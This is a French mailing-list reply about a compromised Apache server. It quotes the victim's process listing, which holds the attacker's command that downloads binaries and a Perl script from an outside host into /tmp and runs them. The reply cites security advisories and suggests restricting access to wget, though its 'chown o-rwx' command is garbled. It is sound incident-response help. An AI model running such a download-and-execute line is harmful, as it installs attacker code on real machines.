Salut Jean-Marc,
Jean-Marc Coursimault a écrit :
> Hello folks,
>
> Décidément... Cette fois ci un hacker réussit à faire exécuter un shell à
> mon serveur http qui vient d'être mis à jour. Ce shell télécharge un
> fichier, le rend exécutable, le fait exécuter par perl.
>
> Heureusement, le programme en question cherche à écouter le port 8118 qui
> est bloqué sur ma machine.
>
> Mais comment diable peut-il faire exécuter un shell à mon serveur http ???
As-tu mis à jour ta MDK dans les derniers jours ?
http://www.mandriva.com/security/advisories
Il y a une alerte sur un trou de sécurité Apache :
http://www.mandriva.com/security/advisories?dis=10.0
http://www.mandriva.com/security/advisories?dis=10.1
http://www.mandriva.com/security/advisories?dis=10.2
=>
http://www.mandriva.com/security/advisories?name=MDKSA-2005:130 et
http://www.mandriva.com/security/advisories?name=MDKSA-2005:129 . Sans
compter aussi du PHP :
http://www.mandriva.com/security/advisories?name=MDKSA-2005:146 et aussi
ca :
http://www.mandriva.com/security/advisories?name=MDKA-2005:039
> Voilà ce que me sort un ps axuwww :
> 9022 ? S 0:00 \_ httpd2 -f /etc/httpd/conf/httpd2.conf
> -DAPACHE2 -DHAVE_PHP4 -DHAVE_PYTHON -DHAVE_SUEXEC -DHAVE_ACCESS
> -DHAVE_ACTIONS -DHAVE_ALIAS -DHAVE_ASIS -DHAVE_AUTH_ANON -DHAVE_AUTH_DBM
> -DHAVE_AUTH_DIGEST -DHAVE_AUTH -DHAVE_AUTOINDEX
> -DHAVE_CASE_FILTER_IN-DHAVE_CASE_FILTER -DHAVE_CERN_META -DHAVE_CGID
> -DHAVE_CGI -DHAVE_CHARSET_LITE -DHAVE_DAV_FS -DHAVE_DAV -DHAVE_DEFLATE
> -DHAVE_DIR -DHAVE_DUMPIO -DHAVE_ENV -DHAVE_EXPIRES -DHAVE_EXT_FILTER
> -DHAVE_HEADERS -DHAVE_IMAP -DHAVE_INCLUDE -DHAVE_INFO -DHAVE_LOG_CONFIG
> -DHAVE_LOG_FORENSIC -DHAVE_LOGIO -DHAVE_MIME_MAGIC -DHAVE_MIME
> -DHAVE_NEGOTIATION -DHAVE_REWRITE -DHAVE_SETENVIF -DHAVE_SPELING
> -DHAVE_STATUS -DHAVE_UNIQUE_ID -DHAVE_USERDIR -DHAVE_USERTRACK
> -DHAVE_VHOST_ALIAS
> 9039 ? S 0:00 | \_ sh -c cd /tmp;wget
> www58.mediaserve.net/.dump/httpd;chmod +x httpd;./httpd;cd /tmp;wget
> www58.mediaserve.net/.dump/httpd.txt;chmod +x httpd.txt;perl httpd.txt
> 9047 ? S 0:01 | \_ perl httpd.txt
>
> Any hints ?
Coup classique : Il a utiliser le wget de ta machine afin de
télécharger son programme de m... en Perl, puis il l'a lancé, ce qui a
ouvert ton port 8118
- un programme pirate "/tmp/httpd" est exécuté sur ta machine (comme
cela, tu as des chance de ne pas le voir en faisant un "ps")
- un autre programme en perl "/tmp/httpd.txt" existe aussi. Par contre,
je ne vois pas l'intérêt qu'il a eu de le rendre exécutable, vu qu'il le
lance avec "perl httpd.txt"
Par contre, le " \_" dans tes lignes, je ne sais pas d'où il vient.
Soit c'est ton maileur qui a fait un gag, soit c'est quelque chose
d'assez subtil, et pas forcément bon... :=(
La question de sécurisé un serveur avait été posé sur LinuxFR, et
j'avais fait une réponse assez longue :
http://linuxfr.org/~nop/19075.html (rechercher "Olivier"). Ceci
notamment pourra t'aider :
<extrait>
- dans une approche plus globale de la sécurité, tu peux aussi changer
les droits des exéctutables situés sur ta machine. Par exemple, sur une
machine serveur ou passerelle, les commandes "wget" ou "ftp" ne sont pas
toujours strictement nécessaires à tout les utilisateurs. Pourtant, si
par exemple un intrus réussi à faire exécuter une commande shell par ton
serveur apache, celui-ci pourra alors faire un "wget" sur un autre
serveur qu'il contrôle, afin de uploader sur ta machine un rootkit. La
solution pour éviter ceci : supprimer "wget", ou plus simplement,
changer les droits d'accès à wget ("chown o-rwx wget"), pour que
personne hormis le root (et un groupe d'utilisateurs de confiance) ne
puisse l'utiliser.
</extrait>
Le reste de la discussion est intéressante à lire...
> Merci
De rien.
A plus,
Olivier
--
~~~~~~~ _____/\_____ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Phoenix / _ \/ _ \ Olivier Allard-Jacquin
/ / \ / \ \ Web: http://olivieraj.free.fr/
/___/ / \ \___\ Mail: olivieraj@???
~~~~ ///// ///\\\ \\\\\ ~~~~~~~~~~~~~~~~~~~~~~~ Linux Powered !!